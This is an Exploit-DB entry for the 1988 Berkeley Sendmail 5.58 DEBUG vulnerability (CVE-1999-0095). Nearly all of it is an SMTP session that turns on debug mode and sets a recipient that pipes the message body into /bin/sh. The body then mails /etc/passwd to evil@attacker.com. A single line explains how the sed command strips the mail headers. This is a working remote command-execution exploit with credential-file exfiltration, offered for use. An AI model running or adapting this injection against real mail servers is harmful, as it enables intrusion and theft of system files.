Berkeley Sendmail 5.58 DEBUG Vulnerability

1988-08-01T00:00:00
ID EDB-ID:19028
Type exploitdb
Reporter anonymous
Modified 1988-08-01T00:00:00

Description

Berkeley Sendmail 5.58 DEBUG Vulnerability. CVE-1999-0095. Remote exploit for linux platform

                                        
                                            220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from: </dev/null>
250 OK
rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0">
250 OK
data
354 Start mail input; end with <CRLF>.<CRLF>
mail evil@attacker.com </etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating

The sed in the receipient strips all mail headers from the
message before passing it on to the shell.